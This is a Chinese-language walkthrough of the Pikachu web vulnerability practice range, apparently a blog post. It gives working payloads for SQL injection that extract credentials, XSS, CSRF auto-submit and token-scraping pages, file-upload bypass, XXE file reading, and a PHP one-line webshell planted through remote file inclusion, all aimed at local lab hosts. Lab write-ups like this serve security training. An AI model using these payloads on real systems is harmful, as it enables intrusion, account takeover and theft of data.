pikachu靶场
文章目录
- pikachu靶场
- 暴力破解
- 基于表单的暴力破解
- 验证码绕过(on server)
- 验证码绕过(on client)
- token防爆破?
- Cross-Site Scripting
- 反射型xss(get)
- 反射型xss(post)
- 存储型xss
- DOM型xss
- DOM型xss-x
- xss之盲打
- xss之过滤
- xss之htmlspeacialchars
- xss之href输出
- xss之js输出
- CRSF
- CRSF(get)
- CSRF(post)
- CSRF Token
- SQL-Inject
- 数字型注入(post)
- 字符型注入(get)
- 搜索型注入
- xx型注入
- ”insert/update“注入
- ”delete“注入
- "http header"注入
- 盲注(base on boolian)
- 盲注(base on time)
- 宽字节注入
- RCE
- exec "ping"
- exec "evel"
- File Inclusion
- File Inclusion(local)
- File Inclusion(remote)
- Unsafe Filedownload
- Unsafe Filedownload
- Unsafe Fileupload
- client check
- MIME type
- getimagesize
- Over Permission
- 未授权
- 水平越权
- 垂直越权
- ../../
- 目录遍历
- 敏感信息泄露
- IcanseeyourABC
- php反序列化
- php反序列化漏洞
- XXE
- XXE漏洞
- URL重定向
- 不安全的URL跳转
暴力破解
基于表单的暴力破解
第一题是基于表单的暴力破解,随便输入账号密码,使用burpsuite抓包,发送到Intruder模块进行爆破,这里假设我们需要爆破admin管理员的数据:
接着设置payloads,这里导入我的密码集,点击start attack:
根据返回包的长度确定,密码为123456
验证码绕过(on server)
题目背景:我们并不知道管理员密码是多少,因为需要验证码所以爆破起来遇到了困难。
点击F12查看验证码图片的元素可以发现,每点击一次就会发送到后端:
<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();">
- 我们先输入错误的验证码发现会显示验证码错误并且burpsuite抓到包了,所以得出这是后端验证的,和题目标题吻合。
- 我们输入一个正确的验证码,会发现有两个包,其中最后一个包是发送到改变验证码脚本的,我们先试着把这个包放掉,看看后面的验证码可以使用前一个的不?
由上可知,当验证码正确的时候会校验账号密码。接着放掉第二个包不让验证码刷新,再提交一次表单,输入上一次的验证码,得到验证码可以再一次使用,所以可以进行上一关一样的爆破方法。
验证码绕过(on client)
- 使用F12查看源代码,查看产生验证码的元素:
<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px">
- 通过上面的代码可以发现存在鼠标事件onclick,指向的是一个函数,我们查看这一个函数:
可以知道这是一个javascript函数,是个摆设我们只需要在浏览器设置禁用js代码即可实现绕过,之后的intruder模块破解密码同上。
token防爆破?
token参数是附在url中的,目的就是为了为每一个请求表单都附上唯一性,token很长,但也不是不可以绕过的,有时候token的值会在元素之中只不过被隐藏了而已。
这一道题在我们进行请求的时候token的值附在了username和password后面,这说明token有可能在form表单之中只不过被隐藏了。
查看form表单,可以发现以下代码,token的的属性被设置为hidden这说明在页面之中是不显示的。
<input type="hidden" name="token" value="2457165ec020f53c6e353867747">
burpsuite的intruder可以根据页面的内容来改变每一次的请求:
首先将数据报发送到intruder模块,接着选中要爆破的对象,这里是密码和token值。Settings–>Grep-Extract–>Add–>fetch response接着选中token的值复制即可,模块会自动进行正则匹配,点击OK。
回到Payloads选项,将密码爆破对象配置好就行。
Cross-Site Scripting
反射型xss(get)
在输入框中随便输入一些东西,发现输入的内容回显至界面,F12查看回显内容的元素,因此构造闭合使用script标签。
<p class="notice">who is 123123,i don't care!</p>
在输入内容时候发现有长度限制,查看元素发现是前端有长度限制:
<input class="xssr_in" type="text" maxlength="20" name="message">
对此我使用harkbar或者抓包修改:
http://192.168.221.129/pikachu/vul/xss/xss_reflected_get.php?message=123123<script>alert(1)</script>&submit=submit
反射型xss(post)
这一道题是需要登录进去的,所以我们使用管理员账号登录进去发现是一个输入框,我们可以在这里构造xss攻击。对于需要登录的xss攻击,攻击者可以构造带有脚本代码的url或者使用钓鱼网站让用户点击进行构造好的表单,由于cookie的有效期一般不是很短,所以攻击者可以获取用户有效的cookie。
存储型xss
这类xss攻击危害型很大,会导致网络蠕虫攻击,每一个看到这个留言板的人都会执行脚本代码。
123<input type='text' onfocus='alert(1)' value=''> 123<script>alert(1)</script>
DOM型xss
DOM型xss是不会与数据库进行交互的,我们输入的内容会会回显到页面上,F12发现我们输入的东西会成为一个链接,所以使用javascript伪协议:
<a href="javascript:alert(1)">what do you see?</a>
DOM型xss-x
这一关对输入的内容进行隐藏,隐藏的方式很简单也就是点击一下它的“伤心往事”就会弹出来了,第一个点击存在鼠标事件onclick:
<a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
查看domxss函数发现,我们输入的内容没有进行过滤就直接拼接到第二个点击之中:
所以还是可以使用javascript伪协议:
xss之盲打
打开网站发现这是一个反馈区,所以我们可以在反馈内容之中插入脚本代码,只要后台管理员看到了他的cookie就会被盗取
xss之过滤
输入<script>alert(1)</script>发现<script被过滤了,所以我们不用script标签,使用input的鼠标事件
123<input type="text" onclick=alert(1) value=''>
xss之htmlspeacialchars
这一道题感觉使用的htmlspeacialchars函数没有用上,F12查看元素就会发现可以直接使用伪协议就不用想怎么去绕过了:
xss之href输出
我们输入之后会出现一个跳转语句,F12查看元素发现输入的数据回显至href之中,所以使用javascript伪协议:
xss之js输出
输入数据之后没有回显,想想是js输出那就试试找js代码,F12发现存在有js函数
<script>$ms='123';if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac确实厉害,看那小眼神..')}else { // alert($ms);$('#fromjs').text('无论如何不要放弃心中所爱..')}} </script>
我们输入只要输入tmac就行了,所以我们构造if的闭合:
1)<script>alert(1)</script>('
CRSF
CRSF(get)
攻击者使用钓鱼网站诱惑用户点击,而去处就是修改用户信息的界面,由于用户本身有cookie而cookie有一定时效性所以伪造的网站可以修改受害者的信息。
<a href="http://192.168.229.199/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=666&submit=submit">hahahahaha</a>
CSRF(post)
<form action="http://192.168.229.202/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" id="register" method="post" ><input type=text name="sex" value=""/><input type=password name="phonenum" value=""/><input type=text name="add" value=""/><input type=text name="email" value=""/><input type=submit name="submit" value="submit"/></form><script>var f = document.getElementById("register");f.elements["sex"].value = "test";f.elements["phonenum"].value = "test";f.elements["add"].value = "test";f.elements["email"].value = "test";setTimeout(function() { f.submit(); }, 1000); </script>
这一道题也是一样,攻击者可以伪造一个钓鱼网站来修改用户信息。同样上面的input元素也可以使用hidden隐藏起来。
CSRF Token
使用了token参数貌似可以避免CRSF钓鱼攻击,但是js其实可以爬取网站的源代码的,如下代码:
<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSRF Token Fetcher</title><script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> </head><body><form action="http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php" id="register" method="get"><input type="hidden" name="sex" value="crsf"><input type="hidden" name="phonenum" value="crsf"><input type="hidden" name="add" value="crsf"><input type="hidden" name="email" value="crsf"><input type="hidden" name="token" id="token" value=""><input type="submit" name="submit" value="Submit"></form><script>document.addEventListener('DOMContentLoaded', function () {fetchToken();});function fetchToken() {fetch('http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php').then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const tokenInput = doc.querySelector('input[type="hidden"][name="token"]');if (tokenInput) {const tokenValue = tokenInput.value;document.getElementById('token').value = tokenValue;alert('Token Value: ' + tokenValue); // 弹出警告框显示token值 } else {console.error('Failed to find the token input field.');}}).catch(error => {console.error('Error fetching token:', error);});} </script></body></html>
SQL-Inject
数字型注入(post)
确认闭合方式,得到是数字型注入
id=1'
查看字段数,得到字段数是2段
id=1 order by 2 id=1 order by 3
查看回显位,发现1和2都可以
id=-1 union select 1,2
获取数据
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' id=-1 union select 1,group_concat(username,0x3a,password) from users
字符型注入(get)
判断闭合发现这是单引号闭合
?name=a' -- #
接着直接获取全部数据就行了
?name=kobe' or '1'='1
或者使用报错注入获取想要的数据:
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1
搜索型注入
简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号
?name=k%' or '1'='1'--+
所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+ ?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+ ?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
xx型注入
由报错信息得知这是单引号加括号闭合,所以构造闭合
?name=1') --+
由于有报错信息所以使用报错注入
?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+ ?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+ ?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
”insert/update“注入
在注册一个账号然后登录进去,看到一个修改个人信息界面,在修改电话号后加一个单引号发现存在报错,所以进行闭合
sex=123&phonenum=123'#&add=123&email=123&submit=submit
利用报错注入获取数据
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit
”delete“注入
随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入
?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) ?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) ?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)
"http header"注入
登陆进去发现网站记录了我的ip地址,user agent,http accept和端口,所以我选择在user agent中注入:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '
盲注(base on boolian)
没有报错信息没有回显位,只有查询到和不查询到所以可以使用布尔盲注
?name=kobe' and substr(database(),1,1)='p
通过改变每一位猜测的数字可以得到数据。
盲注(base on time)
没有报错信息没有回显,并且搜索成功与否的界面是一样的,所以考虑使用时间盲注
宽字节注入
使用%df与转移符号结合,使得引号有效
RCE
exec “ping”
exec “evel”
这是一个evel危险函数,输入
phpinfo();
看一下效果:
File Inclusion
File Inclusion(local)
为了更好表现文件包含漏洞,我在服务端创建了一个test.txt,首先我们先进行抓包,然后参数filename为test.txt:
同时我们可以利用目录穿越
../
来获取敏感文件
File Inclusion(remote)
远程文件包含可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制
pikachu下有一个test目录,里面有一个txt文件,下面是这个文件的内容,意思就是创建一个shell.php文件,作用是一句话木马。
<?php /*** Created by runner.han* There is nothing new under the sun*/ $myfile = fopen("yijuhua.php","w"); $txt = '<?php system($_GET[x]);?>'; fwrite($myfile,$txt); fclose($myfile); ?>
首先先进行抓包,修改filename:
可以看到文件包含目录下出现了一个一句话木马文件:
Unsafe Filedownload
Unsafe Filedownload
点击球员图片进行下载,用burpsuite进行抓包,利用目录穿越修改下载地址:
Unsafe Fileupload
client check
这种检查是在用户的浏览器端进行的。它可能包括检查文件扩展名、文件大小等。这里使用phpinfo()进行测试。上传php文件会出现弹窗:
所以我们上传png文件,用burpsuite抓包,修改filenama的后缀
上传成功,得到文件保存路径,就可以访问了。
MIME type
MIME类型是一种标准,用来表示文件的格式。服务器可以检查上传文件的MIME类型,以确定它是否为可接受的类型。直接上传php文件,发现客户端没有对该文件进行拒绝,发送之后显示“上传的图片只能是jpg,jpeg,png格式的!”,所以推断服务器端对文件类型进行了限制。所以我们进行抓包,对请求头的Content-Type进行修改,对于Content-type是什么,可以自行搜索。
上传成功,得到文件保存路径,就可以访问了。
getimagesize
这个php函数会判断你上传文件的特点,比如说尺寸、文件头等等。常见的绕过方式为:文件头修改、双重扩展名、特别构造图像文件等。常见的文件头标志如下:
- JPEG/JPG:FFD8FF
- PG:89504E47
- GIF:474946383961
- HTML:68746D6C3E
这里就使用GIF,其中474946383961是GIF89a的ASCII HEX的转换。- 得到文件的路径之后还不可以直接访问,因为它会把文件当作图片来解析,此时就需要文件包含漏洞来解析。
Over Permission
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
未授权
首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是未授权:
水平越权
首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是水平授权,这里和上面一样:
垂直越权
首先我们先登录超级用户admin,点击新增用户将包发送到repeater,退出登录普通用户pikachu,将pikachu用户的cookie复制下来替换repeater里面的cookie,这样也可增加新用户,这就是水平越权。
…/…/
目录遍历
敏感信息泄露
IcanseeyourABC
有时候为了测试会把一些信息放在源代码中然后就忘记删除了,这一关就是这样
php反序列化
php反序列化漏洞
class S{var $test = "pikachu";function __construct(){echo $this->test;} } $html=''; if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
查看源代码,传入**O:1:“S”:1:{s:4:“test”;s:29:“<script>alert(‘xss’)</script>”;}**构造php反序列化漏洞
XXE
XXE漏洞
if(isset($_POST['submit']) and $_POST['xml'] != null){$xml =$_POST['xml']; // $xml = $test;$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);if($data){$html.="<pre>{$data}</pre>";}else{$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";} }
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://你想要的文件" > ]> <foo>&xxe;</foo>